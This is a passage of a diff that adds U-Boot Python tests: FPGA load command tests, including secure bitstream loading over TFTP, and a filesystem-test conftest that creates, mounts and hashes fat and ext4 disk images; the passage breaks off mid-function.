+@pytest.mark.buildconfigspec('cmd_fpga_loadbp')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadbp(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadb')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadb %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+    # And load also partial bistream in bit format
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadbp')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadbp %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+###### FPGA LOADMK tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_fail(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    # load image but pass incorrect address to show error message
+    expected = 'Unknown image type'
+    output = u_boot_console.run_command('fpga loadmk %x %x' % (dev, addr + 0x10))
+    assert expected in output
+
+    # Pass more parameters then command expects - 0 at the end
+    output = u_boot_console.run_command('fpga loadmk %x %x 0' % (dev, addr))
+    #assert expected in output
+    assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x %x && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.xfail
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable_fpga(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    u_boot_console.run_command('setenv fpga %x' % (dev))
+
+    # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (addr, expected_text))
+    u_boot_console.run_command('setenv fpga')
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable_fpgadata(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    u_boot_console.run_command('setenv fpgadata %x' % (addr))
+
+    # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (dev, expected_text))
+    u_boot_console.run_command('setenv fpgadata')
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+def test_fpga_loadmk_legacy_variable(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    u_boot_console.run_command('setenv fpga %x' % (dev))
+    u_boot_console.run_command('setenv fpgadata %x' % (addr))
+
+    # this testcase should cover case which looks like it is supported but dev pointer is broken by loading mkimage address
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk && echo %s' % (expected_text))
+    u_boot_console.run_command('setenv fpga')
+    u_boot_console.run_command('setenv fpgadata')
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('image_format_legacy')
+@pytest.mark.buildconfigspec('gzip')
+def test_fpga_loadmk_legacy_gz(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_legacy_gz')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x %x && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_external(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit_external')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x %x:fpga && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x %x:fpga && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable_fpga(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+    u_boot_console.run_command('imi %x' % (addr))
+    # FIXME this should fail - broken support in past
+    u_boot_console.run_command('setenv fpga %x' % (dev))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x:fpga && echo %s' % (addr, expected_text))
+    u_boot_console.run_command('setenv fpga')
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable_fpgadata(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+    u_boot_console.run_command('imi %x' % (addr))
+    # FIXME this should fail - broken support in past
+    u_boot_console.run_command('setenv fpgadata %x:fpga' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk %x && echo %s' % (dev, expected_text))
+    u_boot_console.run_command('setenv fpgadata')
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadmk')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadmk_fit_variable(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'mkimage_fit')
+
+    u_boot_console.run_command('imi %x' % (addr))
+
+    u_boot_console.run_command('setenv fpga %x' % (dev))
+    u_boot_console.run_command('setenv fpgadata %x:fpga' % (addr))
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadmk && echo %s' % (expected_text))
+    u_boot_console.run_command('setenv fpga')
+    u_boot_console.run_command('setenv fpgadata')
+    assert expected_text in output
+
+###### FPGA LOAD tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_loadfs_fail(u_boot_console):
+    dev, f = check_dev(u_boot_console)
+
+    addr = f.get('addr', -1)
+    if addr < 0:
+        pytest.fail('No address specified via env__fpga_under_test')
+
+    bit = f['loadfs']
+    bit_size = f['loadfs_size']
+    block_size = f['loadfs_block_size']
+
+    # less params - dev number removed
+    expected = 'fpga: incorrect parameters passed'
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %s' % (addr, bit_size, block_size, bit))
+    #assert expected in output
+    assert expected_usage in output
+
+    # one more param - 0 at the end
+    # This is the longest command that's why there is no message from cmd/fpga.c
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s 0' % (dev, addr, bit_size, block_size, bit))
+    assert expected_usage in output
+
+    # zero address 0
+    expected = 'fpga: zero fpga_data address'
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, 0, bit_size, block_size, bit))
+    #assert expected in output
+    assert expected_usage in output
+
+    # bit_size 0
+    expected = 'fpga: zero size'
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, addr, 0, block_size, bit))
+    #assert expected in output
+    assert expected_usage in output
+
+    # block size 0
+    # FIXME this should pass but it failing too
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s' % (dev, addr, bit_size, 0, bit))
+    assert expected_usage in output
+
+    # non existing bitstream name
+    expected = 'Unable to read file noname'
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x mmc 0 noname' % (dev, addr, bit_size, block_size))
+    assert expected in output
+    assert expected_usage in output
+
+    # -1 dev number
+    expected = 'fpga_fsload: Invalid device number -1'
+    output = u_boot_console.run_command('fpga loadfs %d %x %x %x mmc 0 noname' % (-1, addr, bit_size, block_size))
+    assert expected in output
+    assert expected_usage in output
+
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadfs(u_boot_console):
+    dev, f = check_dev(u_boot_console)
+
+    addr = f.get('addr', -1)
+    if addr < 0:
+        pytest.fail('No address specified via env__fpga_under_test')
+
+    bit = f['loadfs']
+    bit_size = f['loadfs_size']
+    block_size = f['loadfs_block_size']
+
+    # This should be done better
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadfs %x %x %x %x %s && echo %s' % (dev, addr, bit_size, block_size, bit, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_load_secure')
+@pytest.mark.buildconfigspec('cmd_net')
+@pytest.mark.buildconfigspec('cmd_dhcp')
+@pytest.mark.buildconfigspec('net')
+def test_fpga_secure_bit_auth(u_boot_console):
+
+    test_net.test_net_dhcp(u_boot_console)
+    test_net.test_net_setup_static(u_boot_console)
+
+    f = u_boot_console.config.env.get('env__fpga_secure_readable_file', None)
+    if not f:
+        pytest.skip('No TFTP readable file to read')
+
+    addr = f.get('addr', None)
+    if not addr:
+      addr = u_boot_utils.find_ram_base(u_boot_console)
+
+    expected_tftp = 'Bytes transferred = '
+    fn = f['fn']
+    output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+    assert expected_tftp in output
+
+    expected_zynqmpsecure = 'Bitstream successfully loaded'
+    output = u_boot_console.run_command('fpga loads 0 %x $filesize 0 2' % (addr))
+    assert expected_zynqmpsecure in output
+
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_load_secure')
+@pytest.mark.buildconfigspec('cmd_net')
+@pytest.mark.buildconfigspec('cmd_dhcp')
+@pytest.mark.buildconfigspec('net')
+def test_fpga_secure_bit_img_auth_kup(u_boot_console):
+
+    test_net.test_net_dhcp(u_boot_console)
+    test_net.test_net_setup_static(u_boot_console)
+
+    f = u_boot_console.config.env.get('env__fpga_secure_readable_file', None)
+    if not f:
+        pytest.skip('No TFTP readable file to read')
+
+    keyaddr = f.get('keyaddr', None)
+    if not keyaddr:
+      addr = u_boot_utils.find_ram_base(u_boot_console)
+    expected_tftp = 'Bytes transferred = '
+    keyfn = f['keyfn']
+    output = u_boot_console.run_command('tftpboot %x %s' % (keyaddr, keyfn))
+    assert expected_tftp in output
+
+    addr = f.get('addr', None)
+    if not addr:
+      addr = u_boot_utils.find_ram_base(u_boot_console)
+    expected_tftp = 'Bytes transferred = '
+    fn = f['enckupfn']
+    output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+    assert expected_tftp in output
+
+    expected_zynqmpsecure = 'Bitstream successfully loaded'
+    output = u_boot_console.run_command('fpga loads 0 %x $filesize 0 1 %x' % (addr, keyaddr))
+    assert expected_zynqmpsecure in output
diff --git a/roms/u-boot/test/py/tests/test_fs/conftest.py b/roms/u-boot/test/py/tests/test_fs/conftest.py
new file mode 100644
index 000000000..7325486cd
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/conftest.py
@@ -0,0 +1,662 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi 
+
+import os
+import os.path
+import pytest
+import re
+from subprocess import call, check_call, check_output, CalledProcessError
+from fstest_defs import *
+
+supported_fs_basic = ['fat16', 'fat32', 'ext4']
+supported_fs_ext = ['fat16', 'fat32']
+supported_fs_mkdir = ['fat16', 'fat32']
+supported_fs_unlink = ['fat16', 'fat32']
+supported_fs_symlink = ['ext4']
+
+#
+# Filesystem test specific setup
+#
+def pytest_addoption(parser):
+    """Enable --fs-type option.
+
+    See pytest_configure() about how it works.
+
+    Args:
+        parser: Pytest command-line parser.
+
+    Returns:
+        Nothing.
+    """
+    parser.addoption('--fs-type', action='append', default=None,
+        help='Targeting Filesystem Types')
+
+def pytest_configure(config):
+    """Restrict a file system(s) to be tested.
+
+    A file system explicitly named with --fs-type option is selected
+    if it belongs to a default supported_fs_xxx list.
+    Multiple options can be specified.
+
+    Args:
+        config: Pytest configuration.
+
+    Returns:
+        Nothing.
+    """
+    global supported_fs_basic
+    global supported_fs_ext
+    global supported_fs_mkdir
+    global supported_fs_unlink
+    global supported_fs_symlink
+
+    def intersect(listA, listB):
+        return  [x for x in listA if x in listB]
+
+    supported_fs = config.getoption('fs_type')
+    if supported_fs:
+        print('*** FS TYPE modified: %s' % supported_fs)
+        supported_fs_basic =  intersect(supported_fs, supported_fs_basic)
+        supported_fs_ext =  intersect(supported_fs, supported_fs_ext)
+        supported_fs_mkdir =  intersect(supported_fs, supported_fs_mkdir)
+        supported_fs_unlink =  intersect(supported_fs, supported_fs_unlink)
+        supported_fs_symlink =  intersect(supported_fs, supported_fs_symlink)
+
+def pytest_generate_tests(metafunc):
+    """Parametrize fixtures, fs_obj_xxx
+
+    Each fixture will be parametrized with a corresponding support_fs_xxx
+    list.
+
+    Args:
+        metafunc: Pytest test function.
+
+    Returns:
+        Nothing.
+    """
+    if 'fs_obj_basic' in metafunc.fixturenames:
+        metafunc.parametrize('fs_obj_basic', supported_fs_basic,
+            indirect=True, scope='module')
+    if 'fs_obj_ext' in metafunc.fixturenames:
+        metafunc.parametrize('fs_obj_ext', supported_fs_ext,
+            indirect=True, scope='module')
+    if 'fs_obj_mkdir' in metafunc.fixturenames:
+        metafunc.parametrize('fs_obj_mkdir', supported_fs_mkdir,
+            indirect=True, scope='module')
+    if 'fs_obj_unlink' in metafunc.fixturenames:
+        metafunc.parametrize('fs_obj_unlink', supported_fs_unlink,
+            indirect=True, scope='module')
+    if 'fs_obj_symlink' in metafunc.fixturenames:
+        metafunc.parametrize('fs_obj_symlink', supported_fs_symlink,
+            indirect=True, scope='module')
+
+#
+# Helper functions
+#
+def fstype_to_ubname(fs_type):
+    """Convert a file system type to an U-boot specific string
+
+    A generated string can be used as part of file system related commands
+    or a config name in u-boot. Currently fat16 and fat32 are handled
+    specifically.
+
+    Args:
+        fs_type: File system type.
+
+    Return:
+        A corresponding string for file system type.
+    """
+    if re.match('fat', fs_type):
+        return 'fat'
+    else:
+        return fs_type
+
+def check_ubconfig(config, fs_type):
+    """Check whether a file system is enabled in u-boot configuration.
+
+    This function is assumed to be called in a fixture function so that
+    the whole test cases will be skipped if a given file system is not
+    enabled.
+
+    Args:
+        fs_type: File system type.
+
+    Return:
+        Nothing.
+    """
+    if not config.buildconfig.get('config_cmd_%s' % fs_type, None):
+        pytest.skip('.config feature "CMD_%s" not enabled' % fs_type.upper())
+    if not config.buildconfig.get('config_%s_write' % fs_type, None):
+        pytest.skip('.config feature "%s_WRITE" not enabled'
+        % fs_type.upper())
+
+def mk_fs(config, fs_type, size, id):
+    """Create a file system volume.
+
+    Args:
+        fs_type: File system type.
+        size: Size of file system in MiB.
+        id: Prefix string of volume's file name.
+
+    Return:
+        Nothing.
+    """
+    fs_img = '%s.%s.img' % (id, fs_type)
+    fs_img = config.persistent_data_dir + '/' + fs_img
+
+    if fs_type == 'fat16':
+        mkfs_opt = '-F 16'
+    elif fs_type == 'fat32':
+        mkfs_opt = '-F 32'
+    else:
+        mkfs_opt = ''
+
+    if re.match('fat', fs_type):
+        fs_lnxtype = 'vfat'
+    else:
+        fs_lnxtype = fs_type
+
+    count = (size + 1048576 - 1) / 1048576
+
+    # Some distributions do not add /sbin to the default PATH, where mkfs lives
+    if '/sbin' not in os.environ["PATH"].split(os.pathsep):
+        os.environ["PATH"] += os.pathsep + '/sbin'
+
+    try:
+        check_call('rm -f %s' % fs_img, shell=True)
+        check_call('dd if=/dev/zero of=%s bs=1M count=%d'
+            % (fs_img, count), shell=True)
+        check_call('mkfs.%s %s %s'
+            % (fs_lnxtype, mkfs_opt, fs_img), shell=True)
+        if fs_type == 'ext4':
+            sb_content = check_output('tune2fs -l %s' % fs_img, shell=True).decode()
+            if 'metadata_csum' in sb_content:
+                check_call('tune2fs -O ^metadata_csum %s' % fs_img, shell=True)
+        return fs_img
+    except CalledProcessError:
+        call('rm -f %s' % fs_img, shell=True)
+        raise
+
+# from test/py/conftest.py
+def tool_is_in_path(tool):
+    """Check whether a given command is available on host.
+
+    Args:
+        tool: Command name.
+
+    Return:
+        True if available, False if not.
+    """
+    for path in os.environ['PATH'].split(os.pathsep):
+        fn = os.path.join(path, tool)
+        if os.path.isfile(fn) and os.access(fn, os.X_OK):
+            return True
+    return False
+
+fuse_mounted = False
+
+def mount_fs(fs_type, device, mount_point):
+    """Mount a volume.
+
+    Args:
+        fs_type: File system type.
+        device: Volume's file name.
+        mount_point: Mount point.
+
+    Return:
+        Nothing.
+    """
+    global fuse_mounted
+
+    fuse_mounted = False
+    try:
+        if tool_is_in_path('guestmount'):
+            fuse_mounted = True
+            check_call('guestmount -a %s -m /dev/sda %s'
+                % (device, mount_point), shell=True)
+        else:
+            mount_opt = 'loop,rw'
+            if re.match('fat', fs_type):
+                mount_opt += ',umask=0000'
+
+            check_call('sudo mount -o %s %s %s'
+                % (mount_opt, device, mount_point), shell=True)
+
+            # may not be effective for some file systems
+            check_call('sudo chmod a+rw %s' % mount_point, shell=True)
+    except CalledProcessError:
+        raise
+
+def umount_fs(mount_point):
+    """Unmount a volume.
+
+    Args:
+        mount_point: Mount point.
+
+    Return:
+        Nothing.
+    """
+    if fuse_mounted:
+        call('sync')
+        call('guestunmount %s' % mount_point, shell=True)
+    else:
+        call('sudo umount %s' % mount_point, shell=True)
+
+#
+# Fixture for basic fs test
+#     derived from test/fs/fs-test.sh
+#
+@pytest.fixture()
+def fs_obj_basic(request, u_boot_config):
+    """Set up a file system to be used in basic fs test.
+
+    Args:
+        request: Pytest request object.
+	u_boot_config: U-boot configuration.
+
+    Return:
+        A fixture for basic fs test, i.e. a triplet of file system type,
+        volume file name and  a list of MD5 hashes.
+    """
+    fs_type = request.param
+    fs_img = ''
+
+    fs_ubtype = fstype_to_ubname(fs_type)
+    check_ubconfig(u_boot_config, fs_ubtype)
+
+    mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+    small_file = mount_dir + '/' + SMALL_FILE
+    big_file = mount_dir + '/' + BIG_FILE
+
+    try:
+
+        # 3GiB volume
+        fs_img = mk_fs(u_boot_config, fs_type, 0xc0000000, '3GB')
+    except CalledProcessError as err:
+        pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+        return
+
+    try:
+        check_call('mkdir -p %s' % mount_dir, shell=True)
+    except CalledProcessError as err:
+        pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Mount the image so we can populate it.
+        mount_fs(fs_type, fs_img, mount_dir)
+    except CalledProcessError as err:
+        pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Create a subdirectory.
+        check_call('mkdir %s/SUBDIR' % mount_dir, shell=True)
+
+        # Create big file in this image.
+        # Note that we work only on the start 1MB, couple MBs in the 2GB range
+        # and the last 1 MB of the huge 2.5GB file.
+        # So, just put random values only in those areas.
+        check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+	    % big_file, shell=True)
+        check_call('dd if=/dev/urandom of=%s bs=1M count=2 seek=2047'
+            % big_file, shell=True)
+        check_call('dd if=/dev/urandom of=%s bs=1M count=1 seek=2499'
+            % big_file, shell=True)
+
+        # Create a small file in this image.
+        check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+	    % small_file, shell=True)
+
+        # Delete the small file copies which possibly are written as part of a
+        # previous test.
+        # check_call('rm -f "%s.w"' % MB1, shell=True)
+        # check_call('rm -f "%s.w2"' % MB1, shell=True)
+
+        # Generate the md5sums of reads that we will test against small file
+        out = check_output(
+            'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+	    % small_file, shell=True).decode()
+        md5val = [ out.split()[0] ]
+
+        # Generate the md5sums of reads that we will test against big file
+        # One from beginning of file.
+        out = check_output(
+            'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+	    % big_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # One from end of file.
+        out = check_output(
+            'dd if=%s bs=1M skip=2499 count=1 2> /dev/null | md5sum'
+	    % big_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # One from the last 1MB chunk of 2GB
+        out = check_output(
+            'dd if=%s bs=1M skip=2047 count=1 2> /dev/null | md5sum'
+	    % big_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # One from the start 1MB chunk from 2GB
+        out = check_output(
+            'dd if=%s bs=1M skip=2048 count=1 2> /dev/null | md5sum'
+	    % big_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # One 1MB chunk crossing the 2GB boundary
+        out = check_output(
+            'dd if=%s bs=512K skip=4095 count=2 2> /dev/null | md5sum'
+	    % big_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+    except CalledProcessError as err:
+        pytest.skip('Setup failed for filesystem: ' + fs_type + '. {}'.format(err))
+        umount_fs(mount_dir)
+        return
+    else:
+        umount_fs(mount_dir)
+        yield [fs_ubtype, fs_img, md5val]
+    finally:
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for extended fs test
+#
+@pytest.fixture()
+def fs_obj_ext(request, u_boot_config):
+    """Set up a file system to be used in extended fs test.
+
+    Args:
+        request: Pytest request object.
+	u_boot_config: U-boot configuration.
+
+    Return:
+        A fixture for extended fs test, i.e. a triplet of file system type,
+        volume file name and  a list of MD5 hashes.
+    """
+    fs_type = request.param
+    fs_img = ''
+
+    fs_ubtype = fstype_to_ubname(fs_type)
+    check_ubconfig(u_boot_config, fs_ubtype)
+
+    mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+    min_file = mount_dir + '/' + MIN_FILE
+    tmp_file = mount_dir + '/tmpfile'
+
+    try:
+
+        # 128MiB volume
+        fs_img = mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+    except CalledProcessError as err:
+        pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+        return
+
+    try:
+        check_call('mkdir -p %s' % mount_dir, shell=True)
+    except CalledProcessError as err:
+        pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Mount the image so we can populate it.
+        mount_fs(fs_type, fs_img, mount_dir)
+    except CalledProcessError as err:
+        pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Create a test directory
+        check_call('mkdir %s/dir1' % mount_dir, shell=True)
+
+        # Create a small file and calculate md5
+        check_call('dd if=/dev/urandom of=%s bs=1K count=20'
+            % min_file, shell=True)
+        out = check_output(
+            'dd if=%s bs=1K 2> /dev/null | md5sum'
+            % min_file, shell=True).decode()
+        md5val = [ out.split()[0] ]
+
+        # Calculate md5sum of Test Case 4
+        check_call('dd if=%s of=%s bs=1K count=20'
+            % (min_file, tmp_file), shell=True)
+        check_call('dd if=%s of=%s bs=1K seek=5 count=20'
+            % (min_file, tmp_file), shell=True)
+        out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+            % tmp_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # Calculate md5sum of Test Case 5
+        check_call('dd if=%s of=%s bs=1K count=20'
+            % (min_file, tmp_file), shell=True)
+        check_call('dd if=%s of=%s bs=1K seek=5 count=5'
+            % (min_file, tmp_file), shell=True)
+        out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+            % tmp_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        # Calculate md5sum of Test Case 7
+        check_call('dd if=%s of=%s bs=1K count=20'
+            % (min_file, tmp_file), shell=True)
+        check_call('dd if=%s of=%s bs=1K seek=20 count=20'
+            % (min_file, tmp_file), shell=True)
+        out = check_output('dd if=%s bs=1K 2> /dev/null | md5sum'
+            % tmp_file, shell=True).decode()
+        md5val.append(out.split()[0])
+
+        check_call('rm %s' % tmp_file, shell=True)
+    except CalledProcessError:
+        pytest.skip('Setup failed for filesystem: ' + fs_type)
+        umount_fs(mount_dir)
+        return
+    else:
+        umount_fs(mount_dir)
+        yield [fs_ubtype, fs_img, md5val]
+    finally:
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for mkdir test
+#
+@pytest.fixture()
+def fs_obj_mkdir(request, u_boot_config):
+    """Set up a file system to be used in mkdir test.
+
+    Args:
+        request: Pytest request object.
+	u_boot_config: U-boot configuration.
+
+    Return:
+        A fixture for mkdir test, i.e. a duplet of file system type and
+        volume file name.
+    """
+    fs_type = request.param
+    fs_img = ''
+
+    fs_ubtype = fstype_to_ubname(fs_type)
+    check_ubconfig(u_boot_config, fs_ubtype)
+
+    try:
+        # 128MiB volume
+        fs_img = mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+    except:
+        pytest.skip('Setup failed for filesystem: ' + fs_type)
+        return
+    else:
+        yield [fs_ubtype, fs_img]
+    call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for unlink test
+#
+@pytest.fixture()
+def fs_obj_unlink(request, u_boot_config):
+    """Set up a file system to be used in unlink test.
+
+    Args:
+        request: Pytest request object.
+	u_boot_config: U-boot configuration.
+
+    Return:
+        A fixture for unlink test, i.e. a duplet of file system type and
+        volume file name.
+    """
+    fs_type = request.param
+    fs_img = ''
+
+    fs_ubtype = fstype_to_ubname(fs_type)
+    check_ubconfig(u_boot_config, fs_ubtype)
+
+    mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+    try:
+
+        # 128MiB volume
+        fs_img = mk_fs(u_boot_config, fs_type, 0x8000000, '128MB')
+    except CalledProcessError as err:
+        pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+        return
+
+    try:
+        check_call('mkdir -p %s' % mount_dir, shell=True)
+    except CalledProcessError as err:
+        pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Mount the image so we can populate it.
+        mount_fs(fs_type, fs_img, mount_dir)
+    except CalledProcessError as err:
+        pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Test Case 1 & 3
+        check_call('mkdir %s/dir1' % mount_dir, shell=True)
+        check_call('dd if=/dev/urandom of=%s/dir1/file1 bs=1K count=1'
+                                    % mount_dir, shell=True)
+        check_call('dd if=/dev/urandom of=%s/dir1/file2 bs=1K count=1'
+                                    % mount_dir, shell=True)
+
+        # Test Case 2
+        check_call('mkdir %s/dir2' % mount_dir, shell=True)
+        for i in range(0, 20):
+            check_call('mkdir %s/dir2/0123456789abcdef%02x'
+                                    % (mount_dir, i), shell=True)
+
+        # Test Case 4
+        check_call('mkdir %s/dir4' % mount_dir, shell=True)
+
+        # Test Case 5, 6 & 7
+        check_call('mkdir %s/dir5' % mount_dir, shell=True)
+        check_call('dd if=/dev/urandom of=%s/dir5/file1 bs=1K count=1'
+                                    % mount_dir, shell=True)
+
+    except CalledProcessError:
